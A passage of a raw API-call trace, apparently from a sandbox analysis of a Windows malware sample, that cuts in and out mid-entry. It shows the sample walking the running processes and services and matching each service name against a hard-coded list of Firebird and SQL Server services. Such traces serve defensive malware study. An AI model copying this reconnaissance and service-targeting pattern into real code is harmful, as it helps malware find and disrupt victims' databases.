th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ntsc.exe")) returned 1 [0075.268] lstrlenW (lpString="ntsc.exe") returned 8 [0075.268] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="criteria.exe")) returned 1 [0075.269] lstrlenW (lpString="criteria.exe") returned 12 [0075.269] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0075.270] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0075.271] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0075.271] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0075.271] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0075.272] lstrlenW (lpString="taskhost.exe") returned 12 [0075.272] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0075.273] lstrlenW (lpString="dllhost.exe") returned 11 [0075.274] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0075.274] lstrlenW (lpString="dllhost.exe") returned 11 [0075.274] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0075.275] lstrlenW (lpString="winhost.exe") returned 11 [0075.275] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0075.276] lstrlenW (lpString="cmd.exe") returned 7 [0075.276] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0075.488] lstrlenW (lpString="conhost.exe") returned 11 [0075.488] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0075.489] lstrlenW (lpString="mode.com") returned 8 [0075.489] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0075.490] CloseHandle (hObject=0x194) returned 1 [0075.490] Sleep (dwMilliseconds=0x1f4) [0076.447] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x609b10 [0076.448] EnumServicesStatusExW (in: hSCManager=0x609b10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 0 [0076.448] GetLastError () returned 0xea [0076.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e4) returned 0x5fe060 [0076.448] EnumServicesStatusExW (in: hSCManager=0x609b10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5fe060, cbBufSize=0x11e4, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5fe060, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 1 [0076.449] CloseServiceHandle (hSCObject=0x609b10) returned 1 [0076.450] lstrlenW (lpString="Appinfo") returned 7 [0076.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0076.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0076.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0076.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0076.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0076.450] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0076.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0076.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0076.450] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0076.450] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0076.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0076.450] lstrlenW (lpString="AudioSrv") returned 8 [0076.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0076.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0076.450] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0076.450] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0076.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0076.450] lstrlenW (lpString="BFE") returned 3 [0076.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0076.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0076.450] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0076.451] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0076.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0076.451] lstrlenW (lpString="CryptSvc") returned 8 [0076.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0076.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0076.451] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0076.451] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0076.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0076.451] lstrlenW (lpString="CscService") returned 10 [0076.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0076.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0076.451] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0076.451] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0076.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0076.451] lstrlenW (lpString="DcomLaunch") returned 10 [0076.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0076.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0076.451] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0076.451] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0076.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0076.451] lstrlenW (lpString="Dhcp") returned 4 [0076.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0076.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0076.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0076.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0076.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0076.452] lstrlenW (lpString="Dnscache") returned 8 [0076.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0076.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0076.452] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0076.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0076.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0076.452] lstrlenW (lpString="DPS") returned 3 [0076.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0076.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0076.452] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0076.452] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0076.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0076.452] lstrlenW (lpString="eventlog") returned 8 [0076.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0076.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0076.452] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0076.452] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0076.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0076.452] lstrlenW (lpString="EventSystem") returned 11 [0076.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0076.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0076.452] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0076.453] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0076.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0076.453] lstrlenW (lpString="gpsvc") returned 5 [0076.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0076.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0076.453] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0076.453] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0076.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0076.453] lstrlenW (lpString="iphlpsvc") returned 8 [0076.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0076.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0076.453] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0076.453] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0076.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0076.453] lstrlenW (lpString="LanmanServer") returned 12 [0076.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0076.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0076.453] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0076.453] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0076.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0076.454] lstrlenW (lpString="LanmanWorkstation") returned 17 [0076.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0076.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0076.454] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0076.454] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0076.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0076.454] lstrlenW (lpString="lmhosts") returned 7 [0076.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0076.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0076.454] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0076.454] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0076.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0076.454] lstrlenW (lpString="MMCSS") returned 5 [0076.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0076.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0076.454] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0076.454] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0076.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0076.454] lstrlenW (lpString="MpsSvc") returned 6 [0076.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0076.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0076.454] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0076.455] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0076.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0076.455] lstrlenW (lpString="Netman") returned 6 [0076.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0076.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0076.455] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0076.455] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0076.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0076.455] lstrlenW (lpString="netprofm") returned 8 [0076.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0076.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0076.455] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0076.455] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0076.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0076.455] lstrlenW (lpString="NlaSvc") returned 6 [0076.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0076.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0076.455] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0076.455] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0076.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0076.455] lstrlenW (lpString="nsi") returned 3 [0076.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0076.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0076.456] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0076.456] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0076.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0076.456] lstrlenW (lpString="PcaSvc") returned 6 [0076.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0076.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0076.456] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0076.456] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0076.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0076.456] lstrlenW (lpString="PlugPlay") returned 8 [0076.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0076.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0076.456] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0076.456] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0076.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0076.456] lstrlenW (lpString="Power") returned 5 [0076.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0076.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0076.456] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0076.456] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0076.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0076.456] lstrlenW (lpString="ProfSvc") returned 7 [0076.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0076.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0076.457] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0076.457] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0076.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0076.457] lstrlenW (lpString="RpcEptMapper") returned 12 [0076.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0076.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0076.457] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0076.457] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0076.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0076.457] lstrlenW (lpString="RpcSs") returned 5 [0076.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0076.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0076.457] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0076.457] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0076.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0076.457] lstrlenW (lpString="SamSs") returned 5 [0076.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0076.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0076.458] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0076.458] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0076.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0076.458] lstrlenW (lpString="Schedule") returned 8 [0076.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0076.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0076.458] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0076.458] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0076.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0076.458] lstrlenW (lpString="SENS") returned 4 [0076.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0076.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0076.458] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0076.459] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0076.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0076.459] lstrlenW (lpString="ShellHWDetection") returned 16 [0076.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0076.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0076.459] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0076.459] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0076.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0076.459] lstrlenW (lpString="Spooler") returned 7 [0076.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0076.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0076.459] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0076.459] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0076.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0076.459] lstrlenW (lpString="SysMain") returned 7 [0076.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0076.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0076.459] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0076.459] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0076.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0076.460] lstrlenW (lpString="Themes") returned 6 [0076.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0076.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0076.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0076.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0076.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0076.460] lstrlenW (lpString="TrkWks") returned 6 [0076.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0076.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0076.460] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0076.460] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0076.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0076.461] lstrlenW (lpString="UxSms") returned 5 [0076.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0076.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0076.461] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0076.461] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0076.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0076.461] lstrlenW (lpString="WdiServiceHost") returned 14 [0076.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0076.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0076.461] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0076.461] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0076.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0076.461] lstrlenW (lpString="WdiSystemHost") returned 13 [0076.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0076.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0076.462] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0076.462] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0076.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0076.462] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0076.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0076.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0076.462] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0076.462] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0076.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0076.462] lstrlenW (lpString="Winmgmt") returned 7 [0076.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0076.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0076.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0076.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0076.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0076.463] lstrlenW (lpString="WPDBusEnum") returned 10 [0076.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0076.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0076.463] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0076.463] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0076.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0076.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fe060 | out: hHeap=0x5b0000) returned 1 [0076.464] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d8 [0076.470] Process32FirstW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0076.471] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0076.472] lstrlenW 